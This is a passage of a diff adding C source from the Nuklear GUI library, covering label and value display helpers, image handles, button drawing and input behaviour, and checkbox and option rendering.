+ struct nk_color color, const char *fmt, va_list args) +{ + char buf[256]; + nk_strfmt(buf, NK_LEN(buf), fmt, args); + nk_label_colored(ctx, buf, flags, color); +} + +NK_API void +nk_labelfv_colored_wrap(struct nk_context *ctx, struct nk_color color, + const char *fmt, va_list args) +{ + char buf[256]; + nk_strfmt(buf, NK_LEN(buf), fmt, args); + nk_label_colored_wrap(ctx, buf, color); +} + +NK_API void +nk_labelfv(struct nk_context *ctx, nk_flags flags, const char *fmt, va_list args) +{ + char buf[256]; + nk_strfmt(buf, NK_LEN(buf), fmt, args); + nk_label(ctx, buf, flags); +} + +NK_API void +nk_labelfv_wrap(struct nk_context *ctx, const char *fmt, va_list args) +{ + char buf[256]; + nk_strfmt(buf, NK_LEN(buf), fmt, args); + nk_label_wrap(ctx, buf); +} + +NK_API void +nk_value_bool(struct nk_context *ctx, const char *prefix, int value) +{ + nk_labelf(ctx, NK_TEXT_LEFT, "%s: %s", prefix, ((value) ? "true": "false")); +} +NK_API void +nk_value_int(struct nk_context *ctx, const char *prefix, int value) +{ + nk_labelf(ctx, NK_TEXT_LEFT, "%s: %d", prefix, value); +} +NK_API void +nk_value_uint(struct nk_context *ctx, const char *prefix, unsigned int value) +{ + nk_labelf(ctx, NK_TEXT_LEFT, "%s: %u", prefix, value); +} +NK_API void +nk_value_float(struct nk_context *ctx, const char *prefix, float value) +{ + double double_value = (double)value; + nk_labelf(ctx, NK_TEXT_LEFT, "%s: %.3f", prefix, double_value); +} +NK_API void +nk_value_color_byte(struct nk_context *ctx, const char *p, struct nk_color c) +{ + nk_labelf(ctx, NK_TEXT_LEFT, "%s: (%d, %d, %d, %d)", p, c.r, c.g, c.b, c.a); +} +NK_API void +nk_value_color_float(struct nk_context *ctx, const char *p, struct nk_color color) +{ + double c[4]; nk_color_dv(c, color); + nk_labelf(ctx, NK_TEXT_LEFT, "%s: (%.2f, %.2f, %.2f, %.2f)", + p, c[0], c[1], c[2], c[3]); +} +NK_API void +nk_value_color_hex(struct nk_context *ctx, const char *prefix, struct nk_color color) +{ + char hex[16]; + nk_color_hex_rgba(hex, color); + nk_labelf(ctx, NK_TEXT_LEFT, "%s: %s", prefix, hex); +} +#endif +NK_API void +nk_text(struct nk_context *ctx, const char *str, int len, nk_flags alignment) +{ + NK_ASSERT(ctx); + if (!ctx) return; + nk_text_colored(ctx, str, len, alignment, ctx->style.text.color); +} +NK_API void +nk_text_wrap(struct nk_context *ctx, const char *str, int len) +{ + NK_ASSERT(ctx); + if (!ctx) return; + nk_text_wrap_colored(ctx, str, len, ctx->style.text.color); +} +NK_API void +nk_label(struct nk_context *ctx, const char *str, nk_flags alignment) +{ + nk_text(ctx, str, nk_strlen(str), alignment); +} +NK_API void +nk_label_colored(struct nk_context *ctx, const char *str, nk_flags align, + struct nk_color color) +{ + nk_text_colored(ctx, str, nk_strlen(str), align, color); +} +NK_API void +nk_label_wrap(struct nk_context *ctx, const char *str) +{ + nk_text_wrap(ctx, str, nk_strlen(str)); +} +NK_API void +nk_label_colored_wrap(struct nk_context *ctx, const char *str, struct nk_color color) +{ + nk_text_wrap_colored(ctx, str, nk_strlen(str), color); +} + + + + + +/* =============================================================== + * + * IMAGE + * + * ===============================================================*/ +NK_API nk_handle +nk_handle_ptr(void *ptr) +{ + nk_handle handle = {0}; + handle.ptr = ptr; + return handle; +} +NK_API nk_handle +nk_handle_id(int id) +{ + nk_handle handle; + nk_zero_struct(handle); + handle.id = id; + return handle; +} +NK_API struct nk_image +nk_subimage_ptr(void *ptr, unsigned short w, unsigned short h, struct nk_rect r) +{ + struct nk_image s; + nk_zero(&s, sizeof(s)); + s.handle.ptr = ptr; + s.w = w; s.h = h; + s.region[0] = (unsigned short)r.x; + s.region[1] = (unsigned short)r.y; + s.region[2] = (unsigned short)r.w; + s.region[3] = (unsigned short)r.h; + return s; +} +NK_API struct nk_image +nk_subimage_id(int id, unsigned short w, unsigned short h, struct nk_rect r) +{ + struct nk_image s; + nk_zero(&s, sizeof(s)); + s.handle.id = id; + s.w = w; s.h = h; + s.region[0] = (unsigned short)r.x; + s.region[1] = (unsigned short)r.y; + s.region[2] = (unsigned short)r.w; + s.region[3] = (unsigned short)r.h; + return s; +} +NK_API struct nk_image +nk_subimage_handle(nk_handle handle, unsigned short w, unsigned short h, + struct nk_rect r) +{ + struct nk_image s; + nk_zero(&s, sizeof(s)); + s.handle = handle; + s.w = w; s.h = h; + s.region[0] = (unsigned short)r.x; + s.region[1] = (unsigned short)r.y; + s.region[2] = (unsigned short)r.w; + s.region[3] = (unsigned short)r.h; + return s; +} +NK_API struct nk_image +nk_image_handle(nk_handle handle) +{ + struct nk_image s; + nk_zero(&s, sizeof(s)); + s.handle = handle; + s.w = 0; s.h = 0; + s.region[0] = 0; + s.region[1] = 0; + s.region[2] = 0; + s.region[3] = 0; + return s; +} +NK_API struct nk_image +nk_image_ptr(void *ptr) +{ + struct nk_image s; + nk_zero(&s, sizeof(s)); + NK_ASSERT(ptr); + s.handle.ptr = ptr; + s.w = 0; s.h = 0; + s.region[0] = 0; + s.region[1] = 0; + s.region[2] = 0; + s.region[3] = 0; + return s; +} +NK_API struct nk_image +nk_image_id(int id) +{ + struct nk_image s; + nk_zero(&s, sizeof(s)); + s.handle.id = id; + s.w = 0; s.h = 0; + s.region[0] = 0; + s.region[1] = 0; + s.region[2] = 0; + s.region[3] = 0; + return s; +} +NK_API int +nk_image_is_subimage(const struct nk_image* img) +{ + NK_ASSERT(img); + return !(img->w == 0 && img->h == 0); +} +NK_API void +nk_image(struct nk_context *ctx, struct nk_image img) +{ + struct nk_window *win; + struct nk_rect bounds; + + NK_ASSERT(ctx); + NK_ASSERT(ctx->current); + NK_ASSERT(ctx->current->layout); + if (!ctx || !ctx->current || !ctx->current->layout) return; + + win = ctx->current; + if (!nk_widget(&bounds, ctx)) return; + nk_draw_image(&win->buffer, bounds, &img, nk_white); +} +NK_API void +nk_image_color(struct nk_context *ctx, struct nk_image img, struct nk_color col) +{ + struct nk_window *win; + struct nk_rect bounds; + + NK_ASSERT(ctx); + NK_ASSERT(ctx->current); + NK_ASSERT(ctx->current->layout); + if (!ctx || !ctx->current || !ctx->current->layout) return; + + win = ctx->current; + if (!nk_widget(&bounds, ctx)) return; + nk_draw_image(&win->buffer, bounds, &img, col); +} + + + + + +/* ============================================================== + * + * BUTTON + * + * ===============================================================*/ +NK_LIB void +nk_draw_symbol(struct nk_command_buffer *out, enum nk_symbol_type type, + struct nk_rect content, struct nk_color background, struct nk_color foreground, + float border_width, const struct nk_user_font *font) +{ + switch (type) { + case NK_SYMBOL_X: + case NK_SYMBOL_UNDERSCORE: + case NK_SYMBOL_PLUS: + case NK_SYMBOL_MINUS: { + /* single character text symbol */ + const char *X = (type == NK_SYMBOL_X) ? "x": + (type == NK_SYMBOL_UNDERSCORE) ? "_": + (type == NK_SYMBOL_PLUS) ? "+": "-"; + struct nk_text text; + text.padding = nk_vec2(0,0); + text.background = background; + text.text = foreground; + nk_widget_text(out, content, X, 1, &text, NK_TEXT_CENTERED, font); + } break; + case NK_SYMBOL_CIRCLE_SOLID: + case NK_SYMBOL_CIRCLE_OUTLINE: + case NK_SYMBOL_RECT_SOLID: + case NK_SYMBOL_RECT_OUTLINE: { + /* simple empty/filled shapes */ + if (type == NK_SYMBOL_RECT_SOLID || type == NK_SYMBOL_RECT_OUTLINE) { + nk_fill_rect(out, content, 0, foreground); + if (type == NK_SYMBOL_RECT_OUTLINE) + nk_fill_rect(out, nk_shrink_rect(content, border_width), 0, background); + } else { + nk_fill_circle(out, content, foreground); + if (type == NK_SYMBOL_CIRCLE_OUTLINE) + nk_fill_circle(out, nk_shrink_rect(content, 1), background); + } + } break; + case NK_SYMBOL_TRIANGLE_UP: + case NK_SYMBOL_TRIANGLE_DOWN: + case NK_SYMBOL_TRIANGLE_LEFT: + case NK_SYMBOL_TRIANGLE_RIGHT: { + enum nk_heading heading; + struct nk_vec2 points[3]; + heading = (type == NK_SYMBOL_TRIANGLE_RIGHT) ? NK_RIGHT : + (type == NK_SYMBOL_TRIANGLE_LEFT) ? NK_LEFT: + (type == NK_SYMBOL_TRIANGLE_UP) ? NK_UP: NK_DOWN; + nk_triangle_from_direction(points, content, 0, 0, heading); + nk_fill_triangle(out, points[0].x, points[0].y, points[1].x, points[1].y, + points[2].x, points[2].y, foreground); + } break; + default: + case NK_SYMBOL_NONE: + case NK_SYMBOL_MAX: break; + } +} +NK_LIB int +nk_button_behavior(nk_flags *state, struct nk_rect r, + const struct nk_input *i, enum nk_button_behavior behavior) +{ + int ret = 0; + nk_widget_state_reset(state); + if (!i) return 0; + if (nk_input_is_mouse_hovering_rect(i, r)) { + *state = NK_WIDGET_STATE_HOVERED; + if (nk_input_is_mouse_down(i, NK_BUTTON_LEFT)) + *state = NK_WIDGET_STATE_ACTIVE; + if (nk_input_has_mouse_click_in_rect(i, NK_BUTTON_LEFT, r)) { + ret = (behavior != NK_BUTTON_DEFAULT) ? + nk_input_is_mouse_down(i, NK_BUTTON_LEFT): +#ifdef NK_BUTTON_TRIGGER_ON_RELEASE + nk_input_is_mouse_released(i, NK_BUTTON_LEFT); +#else + nk_input_is_mouse_pressed(i, NK_BUTTON_LEFT); +#endif + } + } + if (*state & NK_WIDGET_STATE_HOVER && !nk_input_is_mouse_prev_hovering_rect(i, r)) + *state |= NK_WIDGET_STATE_ENTERED; + else if (nk_input_is_mouse_prev_hovering_rect(i, r)) + *state |= NK_WIDGET_STATE_LEFT; + return ret; +} +NK_LIB const struct nk_style_item* +nk_draw_button(struct nk_command_buffer *out, + const struct nk_rect *bounds, nk_flags state, + const struct nk_style_button *style) +{ + const struct nk_style_item *background; + if (state & NK_WIDGET_STATE_HOVER) + background = &style->hover; + else if (state & NK_WIDGET_STATE_ACTIVED) + background = &style->active; + else background = &style->normal; + + if (background->type == NK_STYLE_ITEM_IMAGE) { + nk_draw_image(out, *bounds, &background->data.image, nk_white); + } else { + nk_fill_rect(out, *bounds, style->rounding, background->data.color); + nk_stroke_rect(out, *bounds, style->rounding, style->border, style->border_color); + } + return background; +} +NK_LIB int +nk_do_button(nk_flags *state, struct nk_command_buffer *out, struct nk_rect r, + const struct nk_style_button *style, const struct nk_input *in, + enum nk_button_behavior behavior, struct nk_rect *content) +{ + struct nk_rect bounds; + NK_ASSERT(style); + NK_ASSERT(state); + NK_ASSERT(out); + if (!out || !style) + return nk_false; + + /* calculate button content space */ + content->x = r.x + style->padding.x + style->border + style->rounding; + content->y = r.y + style->padding.y + style->border + style->rounding; + content->w = r.w - (2 * style->padding.x + style->border + style->rounding*2); + content->h = r.h - (2 * style->padding.y + style->border + style->rounding*2); + + /* execute button behavior */ + bounds.x = r.x - style->touch_padding.x; + bounds.y = r.y - style->touch_padding.y; + bounds.w = r.w + 2 * style->touch_padding.x; + bounds.h = r.h + 2 * style->touch_padding.y; + return nk_button_behavior(state, bounds, in, behavior); +} +NK_LIB void +nk_draw_button_text(struct nk_command_buffer *out, + const struct nk_rect *bounds, const struct nk_rect *content, nk_flags state, + const struct nk_style_button *style, const char *txt, int len, + nk_flags text_alignment, const struct nk_user_font *font) +{ + struct nk_text text; + const struct nk_style_item *background; + background = nk_draw_button(out, bounds, state, style); + + /* select correct colors/images */ + if (background->type == NK_STYLE_ITEM_COLOR) + text.background = background->data.color; + else text.background = style->text_background; + if (state & NK_WIDGET_STATE_HOVER) + text.text = style->text_hover; + else if (state & NK_WIDGET_STATE_ACTIVED) + text.text = style->text_active; + else text.text = style->text_normal; + + text.padding = nk_vec2(0,0); + nk_widget_text(out, *content, txt, len, &text, text_alignment, font); +} +NK_LIB int +nk_do_button_text(nk_flags *state, + struct nk_command_buffer *out, struct nk_rect bounds, + const char *string, int len, nk_flags align, enum nk_button_behavior behavior, + const struct nk_style_button *style, const struct nk_input *in, + const struct nk_user_font *font) +{ + struct nk_rect content; + int ret = nk_false; + + NK_ASSERT(state); + NK_ASSERT(style); + NK_ASSERT(out); + NK_ASSERT(string); + NK_ASSERT(font); + if (!out || !style || !font || !string) + return nk_false; + + ret = nk_do_button(state, out, bounds, style, in, behavior, &content); + if (style->draw_begin) style->draw_begin(out, style->userdata); + nk_draw_button_text(out, &bounds, &content, *state, style, string, len, align, font); + if (style->draw_end) style->draw_end(out, style->userdata); + return ret; +} +NK_LIB void +nk_draw_button_symbol(struct nk_command_buffer *out, + const struct nk_rect *bounds, const struct nk_rect *content, + nk_flags state, const struct nk_style_button *style, + enum nk_symbol_type type, const struct nk_user_font *font) +{ + struct nk_color sym, bg; + const struct nk_style_item *background; + + /* select correct colors/images */ + background = nk_draw_button(out, bounds, state, style); + if (background->type == NK_STYLE_ITEM_COLOR) + bg = background->data.color; + else bg = style->text_background; + + if (state & NK_WIDGET_STATE_HOVER) + sym = style->text_hover; + else if (state & NK_WIDGET_STATE_ACTIVED) + sym = style->text_active; + else sym = style->text_normal; + nk_draw_symbol(out, type, *content, bg, sym, 1, font); +} +NK_LIB int +nk_do_button_symbol(nk_flags *state, + struct nk_command_buffer *out, struct nk_rect bounds, + enum nk_symbol_type symbol, enum nk_button_behavior behavior, + const struct nk_style_button *style, const struct nk_input *in, + const struct nk_user_font *font) +{ + int ret; + struct nk_rect content; + + NK_ASSERT(state); + NK_ASSERT(style); + NK_ASSERT(font); + NK_ASSERT(out); + if (!out || !style || !font || !state) + return nk_false; + + ret = nk_do_button(state, out, bounds, style, in, behavior, &content); + if (style->draw_begin) style->draw_begin(out, style->userdata); + nk_draw_button_symbol(out, &bounds, &content, *state, style, symbol, font); + if (style->draw_end) style->draw_end(out, style->userdata); + return ret; +} +NK_LIB void +nk_draw_button_image(struct nk_command_buffer *out, + const struct nk_rect *bounds, const struct nk_rect *content, + nk_flags state, const struct nk_style_button *style, const struct nk_image *img) +{ + nk_draw_button(out, bounds, state, style); + nk_draw_image(out, *content, img, nk_white); +} +NK_LIB int +nk_do_button_image(nk_flags *state, + struct nk_command_buffer *out, struct nk_rect bounds, + struct nk_image img, enum nk_button_behavior b, + const struct nk_style_button *style, const struct nk_input *in) +{ + int ret; + struct nk_rect content; + + NK_ASSERT(state); + NK_ASSERT(style); + NK_ASSERT(out); + if (!out || !style || !state) + return nk_false; + + ret = nk_do_button(state, out, bounds, style, in, b, &content); + content.x += style->image_padding.x; + content.y += style->image_padding.y; + content.w -= 2 * style->image_padding.x; + content.h -= 2 * style->image_padding.y; + + if (style->draw_begin) style->draw_begin(out, style->userdata); + nk_draw_button_image(out, &bounds, &content, *state, style, &img); + if (style->draw_end) style->draw_end(out, style->userdata); + return ret; +} +NK_LIB void +nk_draw_button_text_symbol(struct nk_command_buffer *out, + const struct nk_rect *bounds, const struct nk_rect *label, + const struct nk_rect *symbol, nk_flags state, const struct nk_style_button *style, + const char *str, int len, enum nk_symbol_type type, + const struct nk_user_font *font) +{ + struct nk_color sym; + struct nk_text text; + const struct nk_style_item *background; + + /* select correct background colors/images */ + background = nk_draw_button(out, bounds, state, style); + if (background->type == NK_STYLE_ITEM_COLOR) + text.background = background->data.color; + else text.background = style->text_background; + + /* select correct text colors */ + if (state & NK_WIDGET_STATE_HOVER) { + sym = style->text_hover; + text.text = style->text_hover; + } else if (state & NK_WIDGET_STATE_ACTIVED) { + sym = style->text_active; + text.text = style->text_active; + } else { + sym = style->text_normal; + text.text = style->text_normal; + } + + text.padding = nk_vec2(0,0); + nk_draw_symbol(out, type, *symbol, style->text_background, sym, 0, font); + nk_widget_text(out, *label, str, len, &text, NK_TEXT_CENTERED, font); +} +NK_LIB int +nk_do_button_text_symbol(nk_flags *state, + struct nk_command_buffer *out, struct nk_rect bounds, + enum nk_symbol_type symbol, const char *str, int len, nk_flags align, + enum nk_button_behavior behavior, const struct nk_style_button *style, + const struct nk_user_font *font, const struct nk_input *in) +{ + int ret; + struct nk_rect tri = {0,0,0,0}; + struct nk_rect content; + + NK_ASSERT(style); + NK_ASSERT(out); + NK_ASSERT(font); + if (!out || !style || !font) + return nk_false; + + ret = nk_do_button(state, out, bounds, style, in, behavior, &content); + tri.y = content.y + (content.h/2) - font->height/2; + tri.w = font->height; tri.h = font->height; + if (align & NK_TEXT_ALIGN_LEFT) { + tri.x = (content.x + content.w) - (2 * style->padding.x + tri.w); + tri.x = NK_MAX(tri.x, 0); + } else tri.x = content.x + 2 * style->padding.x; + + /* draw button */ + if (style->draw_begin) style->draw_begin(out, style->userdata); + nk_draw_button_text_symbol(out, &bounds, &content, &tri, + *state, style, str, len, symbol, font); + if (style->draw_end) style->draw_end(out, style->userdata); + return ret; +} +NK_LIB void +nk_draw_button_text_image(struct nk_command_buffer *out, + const struct nk_rect *bounds, const struct nk_rect *label, + const struct nk_rect *image, nk_flags state, const struct nk_style_button *style, + const char *str, int len, const struct nk_user_font *font, + const struct nk_image *img) +{ + struct nk_text text; + const struct nk_style_item *background; + background = nk_draw_button(out, bounds, state, style); + + /* select correct colors */ + if (background->type == NK_STYLE_ITEM_COLOR) + text.background = background->data.color; + else text.background = style->text_background; + if (state & NK_WIDGET_STATE_HOVER) + text.text = style->text_hover; + else if (state & NK_WIDGET_STATE_ACTIVED) + text.text = style->text_active; + else text.text = style->text_normal; + + text.padding = nk_vec2(0,0); + nk_widget_text(out, *label, str, len, &text, NK_TEXT_CENTERED, font); + nk_draw_image(out, *image, img, nk_white); +} +NK_LIB int +nk_do_button_text_image(nk_flags *state, + struct nk_command_buffer *out, struct nk_rect bounds, + struct nk_image img, const char* str, int len, nk_flags align, + enum nk_button_behavior behavior, const struct nk_style_button *style, + const struct nk_user_font *font, const struct nk_input *in) +{ + int ret; + struct nk_rect icon; + struct nk_rect content; + + NK_ASSERT(style); + NK_ASSERT(state); + NK_ASSERT(font); + NK_ASSERT(out); + if (!out || !font || !style || !str) + return nk_false; + + ret = nk_do_button(state, out, bounds, style, in, behavior, &content); + icon.y = bounds.y + style->padding.y; + icon.w = icon.h = bounds.h - 2 * style->padding.y; + if (align & NK_TEXT_ALIGN_LEFT) { + icon.x = (bounds.x + bounds.w) - (2 * style->padding.x + icon.w); + icon.x = NK_MAX(icon.x, 0); + } else icon.x = bounds.x + 2 * style->padding.x; + + icon.x += style->image_padding.x; + icon.y += style->image_padding.y; + icon.w -= 2 * style->image_padding.x; + icon.h -= 2 * style->image_padding.y; + + if (style->draw_begin) style->draw_begin(out, style->userdata); + nk_draw_button_text_image(out, &bounds, &content, &icon, *state, style, str, len, font, &img); + if (style->draw_end) style->draw_end(out, style->userdata); + return ret; +} +NK_API void +nk_button_set_behavior(struct nk_context *ctx, enum nk_button_behavior behavior) +{ + NK_ASSERT(ctx); + if (!ctx) return; + ctx->button_behavior = behavior; +} +NK_API int +nk_button_push_behavior(struct nk_context *ctx, enum nk_button_behavior behavior) +{ + struct nk_config_stack_button_behavior *button_stack; + struct nk_config_stack_button_behavior_element *element; + + NK_ASSERT(ctx); + if (!ctx) return 0; + + button_stack = &ctx->stacks.button_behaviors; + NK_ASSERT(button_stack->head < (int)NK_LEN(button_stack->elements)); + if (button_stack->head >= (int)NK_LEN(button_stack->elements)) + return 0; + + element = &button_stack->elements[button_stack->head++]; + element->address = &ctx->button_behavior; + element->old_value = ctx->button_behavior; + ctx->button_behavior = behavior; + return 1; +} +NK_API int +nk_button_pop_behavior(struct nk_context *ctx) +{ + struct nk_config_stack_button_behavior *button_stack; + struct nk_config_stack_button_behavior_element *element; + + NK_ASSERT(ctx); + if (!ctx) return 0; + + button_stack = &ctx->stacks.button_behaviors; + NK_ASSERT(button_stack->head > 0); + if (button_stack->head < 1) + return 0; + + element = &button_stack->elements[--button_stack->head]; + *element->address = element->old_value; + return 1; +} +NK_API int +nk_button_text_styled(struct nk_context *ctx, + const struct nk_style_button *style, const char *title, int len) +{ + struct nk_window *win; + struct nk_panel *layout; + const struct nk_input *in; + + struct nk_rect bounds; + enum nk_widget_layout_states state; + + NK_ASSERT(ctx); + NK_ASSERT(style); + NK_ASSERT(ctx->current); + NK_ASSERT(ctx->current->layout); + if (!style || !ctx || !ctx->current || !ctx->current->layout) return 0; + + win = ctx->current; + layout = win->layout; + state = nk_widget(&bounds, ctx); + + if (!state) return 0; + in = (state == NK_WIDGET_ROM || layout->flags & NK_WINDOW_ROM) ? 0 : &ctx->input; + return nk_do_button_text(&ctx->last_widget_state, &win->buffer, bounds, + title, len, style->text_alignment, ctx->button_behavior, + style, in, ctx->style.font); +} +NK_API int +nk_button_text(struct nk_context *ctx, const char *title, int len) +{ + NK_ASSERT(ctx); + if (!ctx) return 0; + return nk_button_text_styled(ctx, &ctx->style.button, title, len); +} +NK_API int nk_button_label_styled(struct nk_context *ctx, + const struct nk_style_button *style, const char *title) +{ + return nk_button_text_styled(ctx, style, title, nk_strlen(title)); +} +NK_API int nk_button_label(struct nk_context *ctx, const char *title) +{ + return nk_button_text(ctx, title, nk_strlen(title)); +} +NK_API int +nk_button_color(struct nk_context *ctx, struct nk_color color) +{ + struct nk_window *win; + struct nk_panel *layout; + const struct nk_input *in; + struct nk_style_button button; + + int ret = 0; + struct nk_rect bounds; + struct nk_rect content; + enum nk_widget_layout_states state; + + NK_ASSERT(ctx); + NK_ASSERT(ctx->current); + NK_ASSERT(ctx->current->layout); + if (!ctx || !ctx->current || !ctx->current->layout) + return 0; + + win = ctx->current; + layout = win->layout; + + state = nk_widget(&bounds, ctx); + if (!state) return 0; + in = (state == NK_WIDGET_ROM || layout->flags & NK_WINDOW_ROM) ? 0 : &ctx->input; + + button = ctx->style.button; + button.normal = nk_style_item_color(color); + button.hover = nk_style_item_color(color); + button.active = nk_style_item_color(color); + ret = nk_do_button(&ctx->last_widget_state, &win->buffer, bounds, + &button, in, ctx->button_behavior, &content); + nk_draw_button(&win->buffer, &bounds, ctx->last_widget_state, &button); + return ret; +} +NK_API int +nk_button_symbol_styled(struct nk_context *ctx, + const struct nk_style_button *style, enum nk_symbol_type symbol) +{ + struct nk_window *win; + struct nk_panel *layout; + const struct nk_input *in; + + struct nk_rect bounds; + enum nk_widget_layout_states state; + + NK_ASSERT(ctx); + NK_ASSERT(ctx->current); + NK_ASSERT(ctx->current->layout); + if (!ctx || !ctx->current || !ctx->current->layout) + return 0; + + win = ctx->current; + layout = win->layout; + state = nk_widget(&bounds, ctx); + if (!state) return 0; + in = (state == NK_WIDGET_ROM || layout->flags & NK_WINDOW_ROM) ? 0 : &ctx->input; + return nk_do_button_symbol(&ctx->last_widget_state, &win->buffer, bounds, + symbol, ctx->button_behavior, style, in, ctx->style.font); +} +NK_API int +nk_button_symbol(struct nk_context *ctx, enum nk_symbol_type symbol) +{ + NK_ASSERT(ctx); + if (!ctx) return 0; + return nk_button_symbol_styled(ctx, &ctx->style.button, symbol); +} +NK_API int +nk_button_image_styled(struct nk_context *ctx, const struct nk_style_button *style, + struct nk_image img) +{ + struct nk_window *win; + struct nk_panel *layout; + const struct nk_input *in; + + struct nk_rect bounds; + enum nk_widget_layout_states state; + + NK_ASSERT(ctx); + NK_ASSERT(ctx->current); + NK_ASSERT(ctx->current->layout); + if (!ctx || !ctx->current || !ctx->current->layout) + return 0; + + win = ctx->current; + layout = win->layout; + + state = nk_widget(&bounds, ctx); + if (!state) return 0; + in = (state == NK_WIDGET_ROM || layout->flags & NK_WINDOW_ROM) ? 0 : &ctx->input; + return nk_do_button_image(&ctx->last_widget_state, &win->buffer, bounds, + img, ctx->button_behavior, style, in); +} +NK_API int +nk_button_image(struct nk_context *ctx, struct nk_image img) +{ + NK_ASSERT(ctx); + if (!ctx) return 0; + return nk_button_image_styled(ctx, &ctx->style.button, img); +} +NK_API int +nk_button_symbol_text_styled(struct nk_context *ctx, + const struct nk_style_button *style, enum nk_symbol_type symbol, + const char *text, int len, nk_flags align) +{ + struct nk_window *win; + struct nk_panel *layout; + const struct nk_input *in; + + struct nk_rect bounds; + enum nk_widget_layout_states state; + + NK_ASSERT(ctx); + NK_ASSERT(ctx->current); + NK_ASSERT(ctx->current->layout); + if (!ctx || !ctx->current || !ctx->current->layout) + return 0; + + win = ctx->current; + layout = win->layout; + + state = nk_widget(&bounds, ctx); + if (!state) return 0; + in = (state == NK_WIDGET_ROM || layout->flags & NK_WINDOW_ROM) ? 0 : &ctx->input; + return nk_do_button_text_symbol(&ctx->last_widget_state, &win->buffer, bounds, + symbol, text, len, align, ctx->button_behavior, + style, ctx->style.font, in); +} +NK_API int +nk_button_symbol_text(struct nk_context *ctx, enum nk_symbol_type symbol, + const char* text, int len, nk_flags align) +{ + NK_ASSERT(ctx); + if (!ctx) return 0; + return nk_button_symbol_text_styled(ctx, &ctx->style.button, symbol, text, len, align); +} +NK_API int nk_button_symbol_label(struct nk_context *ctx, enum nk_symbol_type symbol, + const char *label, nk_flags align) +{ + return nk_button_symbol_text(ctx, symbol, label, nk_strlen(label), align); +} +NK_API int nk_button_symbol_label_styled(struct nk_context *ctx, + const struct nk_style_button *style, enum nk_symbol_type symbol, + const char *title, nk_flags align) +{ + return nk_button_symbol_text_styled(ctx, style, symbol, title, nk_strlen(title), align); +} +NK_API int +nk_button_image_text_styled(struct nk_context *ctx, + const struct nk_style_button *style, struct nk_image img, const char *text, + int len, nk_flags align) +{ + struct nk_window *win; + struct nk_panel *layout; + const struct nk_input *in; + + struct nk_rect bounds; + enum nk_widget_layout_states state; + + NK_ASSERT(ctx); + NK_ASSERT(ctx->current); + NK_ASSERT(ctx->current->layout); + if (!ctx || !ctx->current || !ctx->current->layout) + return 0; + + win = ctx->current; + layout = win->layout; + + state = nk_widget(&bounds, ctx); + if (!state) return 0; + in = (state == NK_WIDGET_ROM || layout->flags & NK_WINDOW_ROM) ? 0 : &ctx->input; + return nk_do_button_text_image(&ctx->last_widget_state, &win->buffer, + bounds, img, text, len, align, ctx->button_behavior, + style, ctx->style.font, in); +} +NK_API int +nk_button_image_text(struct nk_context *ctx, struct nk_image img, + const char *text, int len, nk_flags align) +{ + return nk_button_image_text_styled(ctx, &ctx->style.button,img, text, len, align); +} +NK_API int nk_button_image_label(struct nk_context *ctx, struct nk_image img, + const char *label, nk_flags align) +{ + return nk_button_image_text(ctx, img, label, nk_strlen(label), align); +} +NK_API int nk_button_image_label_styled(struct nk_context *ctx, + const struct nk_style_button *style, struct nk_image img, + const char *label, nk_flags text_alignment) +{ + return nk_button_image_text_styled(ctx, style, img, label, nk_strlen(label), text_alignment); +} + + + + + +/* =============================================================== + * + * TOGGLE + * + * ===============================================================*/ +NK_LIB int +nk_toggle_behavior(const struct nk_input *in, struct nk_rect select, + nk_flags *state, int active) +{ + nk_widget_state_reset(state); + if (nk_button_behavior(state, select, in, NK_BUTTON_DEFAULT)) { + *state = NK_WIDGET_STATE_ACTIVE; + active = !active; + } + if (*state & NK_WIDGET_STATE_HOVER && !nk_input_is_mouse_prev_hovering_rect(in, select)) + *state |= NK_WIDGET_STATE_ENTERED; + else if (nk_input_is_mouse_prev_hovering_rect(in, select)) + *state |= NK_WIDGET_STATE_LEFT; + return active; +} +NK_LIB void +nk_draw_checkbox(struct nk_command_buffer *out, + nk_flags state, const struct nk_style_toggle *style, int active, + const struct nk_rect *label, const struct nk_rect *selector, + const struct nk_rect *cursors, const char *string, int len, + const struct nk_user_font *font) +{ + const struct nk_style_item *background; + const struct nk_style_item *cursor; + struct nk_text text; + + /* select correct colors/images */ + if (state & NK_WIDGET_STATE_HOVER) { + background = &style->hover; + cursor = &style->cursor_hover; + text.text = style->text_hover; + } else if (state & NK_WIDGET_STATE_ACTIVED) { + background = &style->hover; + cursor = &style->cursor_hover; + text.text = style->text_active; + } else { + background = &style->normal; + cursor = &style->cursor_normal; + text.text = style->text_normal; + } + + /* draw background and cursor */ + if (background->type == NK_STYLE_ITEM_COLOR) { + nk_fill_rect(out, *selector, 0, style->border_color); + nk_fill_rect(out, nk_shrink_rect(*selector, style->border), 0, background->data.color); + } else nk_draw_image(out, *selector, &background->data.image, nk_white); + if (active) { + if (cursor->type == NK_STYLE_ITEM_IMAGE) + nk_draw_image(out, *cursors, &cursor->data.image, nk_white); + else nk_fill_rect(out, *cursors, 0, cursor->data.color); + } + + text.padding.x = 0; + text.padding.y = 0; + text.background = style->text_background; + nk_widget_text(out, *label, string, len, &text, NK_TEXT_LEFT, font); +} +NK_LIB void +nk_draw_option(struct nk_command_buffer *out, + nk_flags state, const struct nk_style_toggle *style, int active, + const struct nk_rect *label, const struct nk_rect *selector, + const struct nk_rect *cursors, const char *string, int len, + const struct nk_user_font *font) +{ + const struct nk_style_item *background; + const struct nk_style_item *cursor; + struct nk_text text; + + /* select correct colors/images */ + if (state & NK_WIDGET_STATE_HOVER) { + background = &style->hover; + cursor = &style->cursor_hover; + text.text = style->text_hover; + } else if (state & NK_WIDGET_STATE_ACTIVED) { + background = &style->hover; + cursor = &style->cursor_hover; + text.text = style->text_active; + } else { + background = &style->normal; + cursor = &style->cursor_normal; + text.text = style->text_normal; + } + + /* draw background and cursor */ + if (background->type == NK_STYLE_ITEM_COLOR) { + nk_fill_circle(out, *selector, style->border_color); + nk_fill_circle(out, nk_shrink_rect(*selector, style->border), background->data.color); + } else nk_draw_image(out, *selector, &background->data.image, nk_white); + if (active) { + if (cursor->type == NK_STYLE_ITEM_IMAGE) + nk_draw_image(out, *cursors, &cursor->data.image, nk_white); + else nk_fill_circle(out, *cursors, cursor->data.color); + } + + text.padding.x = 0; + text.padding.y = 0; + text.background = style->text_background; + nk_widget_text(out, *label, string, len, &text, NK_TEXT_LEFT, font); +} +NK_LIB int +nk_do_toggle(nk_flags *state, + struct nk_command_buffer *out, struct nk_rect r, + int *active, const char *str, int len, enum nk_toggle_type type, + const struct nk_style_toggle *style, const struct nk_input *in, + const struct nk_user_font *font) +{ + int was_active; + struct nk_rect bounds; + struct nk_rect select; + struct nk_rect cursor; + struct nk_rect label; + 